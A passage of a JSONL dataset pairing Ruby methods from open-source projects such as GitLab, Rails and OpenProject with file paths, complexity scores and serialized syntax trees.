"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[20000]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"ai_spam_logs\"]},{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]}]}","id":"6277d6c6-d0dc-4db1-8eef-b3a7f4c2e21a"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/work_package_aggregation_group.rb","start_line":63,"raw_source":"def value\n if query.group_by_column.name == :done_ratio\n represented ? \"#{represented}%\" : nil\n else\n super\n end\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"group_by_column\"]},\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"done_ratio\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ccd2af11-a72b-4775-8322-a26bd8a45dc2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/notification_service_spec.rb","start_line":4893,"raw_source":"def build_group(project, visibility: :public)\n group = create_nested_group(visibility)\n project.update!(namespace_id: group.id)\n\n # Group member: global=disabled, group=watch\n @g_watcher ||= create_user_with_notification(:watch, 'group_watcher', project.group)\n @g_watcher.notification_settings_for(nil).disabled!\n\n # Group member: global=watch, group=global\n @g_global_watcher ||= create_global_setting_for(create(:user), :watch)\n group.add_members([@g_watcher, @g_global_watcher], :maintainer)\n\n group\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"kwoptarg\",\"children\":[\"visibility\",{\"type\":\"sym\",\"children\":[\"public\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"create_nested_group\",{\"type\":\"lvar\",\"children\":[\"visibility\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@g_watcher\"]},{\"type\":\"send\",\"children\":[null,\"create_user_with_notification\",{\"type\":\"sym\",\"children\":[\"watch\"]},{\"type\":\"str\",\"children\":[\"group_watcher\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@g_watcher\"]},\"notification_settings_for\",{\"type\":\"nil\",\"children\":[]}]},\"disabled!\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@g_global_watcher\"]},{\"type\":\"send\",\"children\":[null,\"create_global_setting_for\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"sym\",\"children\":[\"watch\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"add_members\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@g_watcher\"]},{\"type\":\"ivar\",\"children\":[\"@g_global_watcher\"]}]},{\"type\":\"sym\",\"children\":[\"maintainer\"]}]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"ea8be150-2f74-4656-8322-f962ecec0a8d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/pages/lookup_path.rb","start_line":47,"raw_source":"def prefix\n ensure_leading_and_trailing_slash(prefix_value)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"ensure_leading_and_trailing_slash\",{\"type\":\"send\",\"children\":[null,\"prefix_value\"]}]}]}","id":"34a7ccfa-77bd-47bf-9f0c-24b1e736bc39"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":1381,"raw_source":"def on_notify(tw)\n unless @start && @flush_method\n return\n end\n\n if Time.now - @start >= @flush_interval\n @flush_method.call(tw, @line_buffer) if @line_buffer\n @line_buffer = nil\n @start = nil\n end\n end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_notify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start\"]},{\"type\":\"ivar\",\"children\":[\"@flush_method\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@start\"]}]},\">=\",{\"type\":\"ivar\",\"children\":[\"@flush_interval\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@line_buffer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flush_method\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"tw\"]},{\"type\":\"ivar\",\"children\":[\"@line_buffer\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@line_buffer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@start\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}","id":"a1600cbd-4650-4546-810d-20e8a0751945"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/organizations/organization_user.rb","start_line":90,"raw_source":"def last_owner_access_level_change\n return unless access_level_was == 'owner' && other_owners.empty?\n\n errors.add(:base, _('You cannot change the access of the last owner from the organization'))\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_owner_access_level_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_level_was\"]},\"==\",{\"type\":\"str\",\"children\":[\"owner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_owners\"]},\"empty?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"You cannot change the access of the last owner from the organization\"]}]}]}]}]}","id":"c28632b7-bb88-4d05-ad47-69538a52fe68"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/delete_old_feature_flags.rb","start_line":422,"raw_source":"def groups_helper\n @groups_helper ||= ::Keeps::Helpers::Groups.new\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@groups_helper\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Keeps\"]},\"Helpers\"]},\"Groups\"]},\"new\"]}]}]}","id":"6737d049-d0fb-4667-83dd-a8526f8480f1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/job_type.rb","start_line":167,"raw_source":"def artifacts\n object.job_artifacts if object.is_a?(::Ci::Build)\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"artifacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Build\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"job_artifacts\"]},null]}]}","id":"165c0ab7-81fc-4636-bb86-49dfbc782ab7"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/statuses_controller.rb","start_line":45,"raw_source":"def new\n @status = Status.new\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"new\"]}]}]}","id":"98c44556-834d-43f8-a6f6-24ad8901a9f5"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks.rb","start_line":199,"raw_source":"def self.run_a_check klass, mutex, tracker\n check = klass.new(tracker)\n\n begin\n check.run_check\n rescue => e\n mutex.synchronize do\n tracker.error e\n end\n end\n\n check.warnings\n end","complexity_score":9.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run_a_check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"mutex\"]},{\"type\":\"arg\",\"children\":[\"tracker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"check\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tracker\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"run_check\"]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"warnings\"]}]}]}","id":"6584b8e4-b074-4a2a-bbb8-e4fcd99a2dc2"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/migration/update_first_response_time_in_reporting_events_job.rb","start_line":66,"raw_source":"def calculate_event_value_in_business_hours(inbox, last_bot_reply, first_human_reply)\n business_hours(inbox, last_bot_reply.created_at, first_human_reply.created_at)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_event_value_in_business_hours\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inbox\"]},{\"type\":\"arg\",\"children\":[\"last_bot_reply\"]},{\"type\":\"arg\",\"children\":[\"first_human_reply\"]}]},{\"type\":\"send\",\"children\":[null,\"business_hours\",{\"type\":\"lvar\",\"children\":[\"inbox\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_bot_reply\"]},\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_human_reply\"]},\"created_at\"]}]}]}","id":"4a08fbda-d6a8-431e-b77f-6d7e50adfe14"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/streaming/payload_processing.rb","start_line":45,"raw_source":"def create_and_yield_chunk(data, &block)\n block.call(build_chunk(data))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_and_yield_chunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"build_chunk\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"831aac04-4f46-4fce-8b8b-939c0223133c"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":2082,"raw_source":"def name_for_action(as, action)\n prefix = prefix_name_for_action(as, action)\n name_prefix = @scope[:as]\n\n if parent_resource\n return nil unless as != DEFAULT || action\n\n collection_name = parent_resource.collection_name\n member_name = parent_resource.member_name\n end\n\n action_name = @scope.action_name(name_prefix, prefix, collection_name, member_name)\n candidate = action_name.select(&:present?).join(\"_\")\n\n unless candidate.empty?\n # If a name was not explicitly given, we check if it is valid and return nil in\n # case it isn't. Otherwise, we pass the invalid name forward so the underlying\n # router engine treats it and raises an exception.\n if as == DEFAULT\n candidate unless !candidate.match?(/\\A[_a-z]/i) || has_named_route?(candidate)\n else\n candidate\n end\n end\n end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"name_for_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"as\"]},{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[null,\"prefix_name_for_action\",{\"type\":\"lvar\",\"children\":[\"as\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name_prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"as\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"DEFAULT\"]}]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"collection_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},\"collection_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"member_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},\"member_name\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"action_name\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"action_name\",{\"type\":\"lvar\",\"children\":[\"name_prefix\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"lvar\",\"children\":[\"collection_name\"]},{\"type\":\"lvar\",\"children\":[\"member_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"candidate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_name\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"present?\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"empty?\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"DEFAULT\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[_a-z]\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"has_named_route?\",{\"type\":\"lvar\",\"children\":[\"candidate\"]}]}]},null,{\"type\":\"lvar\",\"children\":[\"candidate\"]}]},{\"type\":\"lvar\",\"children\":[\"candidate\"]}]}]}]}]}","id":"ba80c850-bbb1-447e-a861-2c0a9e2b318f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/array_scope_columns.rb","start_line":36,"raw_source":"def array_lookup_expressions_by_position(table_name)\n columns.map do |column|\n Arel.sql(\"#{table_name}.#{column.array_aggregated_column_name}[position]\")\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"array_lookup_expressions_by_position\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"array_aggregated_column_name\"]}]},{\"type\":\"str\",\"children\":[\"[position]\"]}]}]}]}]}","id":"7ef5a982-2d7c-4b12-b66b-d8059f3124c3"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_output.rb","start_line":131,"raw_source":"def test_secondary_with_no_warn_log\n # ObjectBufferedOutput doesn't implement `custom_filter`\n d = Fluent::Test::BufferedOutputTestDriver.new(Fluent::ObjectBufferedOutput)\n\n mock(d.instance.log).warn(\"Use different plugin for secondary. Check the plugin works with primary like secondary_file\",\n primary: d.instance.class.to_s, secondary: \"Fluent::Plugin::Test2Output\").never\n d.configure(CONFIG + %[\n <secondary>\n type test2\n name c0\n </secondary>\n ])\n\n assert_not_nil d.instance.instance_variable_get(:@secondary).router\n end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_secondary_with_no_warn_log\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"BufferedOutputTestDriver\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ObjectBufferedOutput\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mock\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"log\"]}]},\"warn\",{\"type\":\"str\",\"children\":[\"Use different plugin for secondary. Check the plugin works with primary like secondary_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"class\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secondary\"]},{\"type\":\"str\",\"children\":[\"Fluent::Plugin::Test2Output\"]}]}]}]},\"never\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"configure\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIG\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" <secondary>\\n\"]},{\"type\":\"str\",\"children\":[\" type test2\\n\"]},{\"type\":\"str\",\"children\":[\" name c0\\n\"]},{\"type\":\"str\",\"children\":[\" </secondary>\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@secondary\"]}]},\"router\"]}]}]}]}","id":"7e882b1c-fae2-48b0-a8ba-340f48dfaf9a"} {"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/php.rb","start_line":52,"raw_source":"def self.keywords\n @keywords ||= Set.new %w(\n and E_PARSE old_function E_ERROR or as E_WARNING parent eval\n PHP_OS break exit case extends PHP_VERSION cfunction FALSE\n print for require continue foreach require_once declare return\n default static do switch die stdClass echo else TRUE elseif\n var empty if xor enddeclare include virtual endfor include_once\n while endforeach global __FILE__ endif list __LINE__ endswitch\n new __sleep endwhile not array __wakeup E_ALL NULL final\n php_user_filter interface implements public private protected\n abstract clone try catch throw this use namespace yield\n )\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"keywords\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@keywords\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"and\"]},{\"type\":\"str\",\"children\":[\"E_PARSE\"]},{\"type\":\"str\",\"children\":[\"old_function\"]},{\"type\":\"str\",\"children\":[\"E_ERROR\"]},{\"type\":\"str\",\"children\":[\"or\"]},{\"type\":\"str\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"E_WARNING\"]},{\"type\":\"str\",\"children\":[\"parent\"]},{\"type\":\"str\",\"children\":[\"eval\"]},{\"type\":\"str\",\"children\":[\"PHP_OS\"]},{\"type\":\"str\",\"children\":[\"break\"]},{\"type\":\"str\",\"children\":[\"exit\"]},{\"type\":\"str\",\"children\":[\"case\"]},{\"type\":\"str\",\"children\":[\"extends\"]},{\"type\":\"str\",\"children\":[\"PHP_VERSION\"]},{\"type\":\"str\",\"children\":[\"cfunction\"]},{\"type\":\"str\",\"children\":[\"FALSE\"]},{\"type\":\"str\",\"children\":[\"print\"]},{\"type\":\"str\",\"children\":[\"for\"]},{\"type\":\"str\",\"children\":[\"require\"]},{\"type\":\"str\",\"children\":[\"continue\"]},{\"type\":\"str\",\"children\":[\"foreach\"]},{\"type\":\"str\",\"children\":[\"require_once\"]},{\"type\":\"str\",\"children\":[\"declare\"]},{\"type\":\"str\",\"children\":[\"return\"]},{\"type\":\"str\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"static\"]},{\"type\":\"str\",\"children\":[\"do\"]},{\"type\":\"str\",\"children\":[\"switch\"]},{\"type\":\"str\",\"children\":[\"die\"]},{\"type\":\"str\",\"children\":[\"stdClass\"]},{\"type\":\"str\",\"children\":[\"echo\"]},{\"type\":\"str\",\"children\":[\"else\"]},{\"type\":\"str\",\"children\":[\"TRUE\"]},{\"type\":\"str\",\"children\":[\"elseif\"]},{\"type\":\"str\",\"children\":[\"var\"]},{\"type\":\"str\",\"children\":[\"empty\"]},{\"type\":\"str\",\"children\":[\"if\"]},{\"type\":\"str\",\"children\":[\"xor\"]},{\"type\":\"str\",\"children\":[\"enddeclare\"]},{\"type\":\"str\",\"children\":[\"include\"]},{\"type\":\"str\",\"children\":[\"virtual\"]},{\"type\":\"str\",\"children\":[\"endfor\"]},{\"type\":\"str\",\"children\":[\"include_once\"]},{\"type\":\"str\",\"children\":[\"while\"]},{\"type\":\"str\",\"children\":[\"endforeach\"]},{\"type\":\"str\",\"children\":[\"global\"]},{\"type\":\"str\",\"children\":[\"__FILE__\"]},{\"type\":\"str\",\"children\":[\"endif\"]},{\"type\":\"str\",\"children\":[\"list\"]},{\"type\":\"str\",\"children\":[\"__LINE__\"]},{\"type\":\"str\",\"children\":[\"endswitch\"]},{\"type\":\"str\",\"children\":[\"new\"]},{\"type\":\"str\",\"children\":[\"__sleep\"]},{\"type\":\"str\",\"children\":[\"endwhile\"]},{\"type\":\"str\",\"children\":[\"not\"]},{\"type\":\"str\",\"children\":[\"array\"]},{\"type\":\"str\",\"children\":[\"__wakeup\"]},{\"type\":\"str\",\"children\":[\"E_ALL\"]},{\"type\":\"str\",\"children\":[\"NULL\"]},{\"type\":\"str\",\"children\":[\"final\"]},{\"type\":\"str\",\"children\":[\"php_user_filter\"]},{\"type\":\"str\",\"children\":[\"interface\"]},{\"type\":\"str\",\"children\":[\"implements\"]},{\"type\":\"str\",\"children\":[\"public\"]},{\"type\":\"str\",\"children\":[\"private\"]},{\"type\":\"str\",\"children\":[\"protected\"]},{\"type\":\"str\",\"children\":[\"abstract\"]},{\"type\":\"str\",\"children\":[\"clone\"]},{\"type\":\"str\",\"children\":[\"try\"]},{\"type\":\"str\",\"children\":[\"catch\"]},{\"type\":\"str\",\"children\":[\"throw\"]},{\"type\":\"str\",\"children\":[\"this\"]},{\"type\":\"str\",\"children\":[\"use\"]},{\"type\":\"str\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"yield\"]}]}]}]}]}","id":"63ca189d-b03b-472a-bf5c-36e5991465e6"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/backups_controller.rb","start_line":73,"raw_source":"def delete_token\n Token::Backup.where(user: current_user).destroy_all\n\n flash[:info] = t(\"backup.text_token_deleted\")\n\n redirect_to action: \"show\"\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Token\"]},\"Backup\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"backup.text_token_deleted\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]}]}]}]}]}","id":"646cf0e3-613a-44ae-8561-5078a4b235e2"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_customize_themes.rb","start_line":61,"raw_source":"def has_palette_editor_save_button?\n page.has_css?(\".admin-theme__save-palette-changes\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_palette_editor_save_button?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".admin-theme__save-palette-changes\"]}]}]}","id":"3d4676e0-96e5-407c-a1ee-857ef962d766"} {"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/base_test.rb","start_line":955,"raw_source":"def a_callback\n mail.to << \"jane@example.com\"\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"a_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail\"]},\"to\"]},\"<<\",{\"type\":\"str\",\"children\":[\"jane@example.com\"]}]}]}","id":"ad58f4ed-ca6a-4163-ba36-ad0d05b4aa15"} {"repo_name":"forem","file_path":"./repos/forem/app/models/settings/smtp.rb","start_line":19,"raw_source":"def settings\n if provided_minimum_settings?\n custom_provider_settings\n else\n fallback_sendgrid_settings\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provided_minimum_settings?\"]},{\"type\":\"send\",\"children\":[null,\"custom_provider_settings\"]},{\"type\":\"send\",\"children\":[null,\"fallback_sendgrid_settings\"]}]}]}","id":"d9886eaa-c5b7-47e3-9ae5-c58bd7149106"} 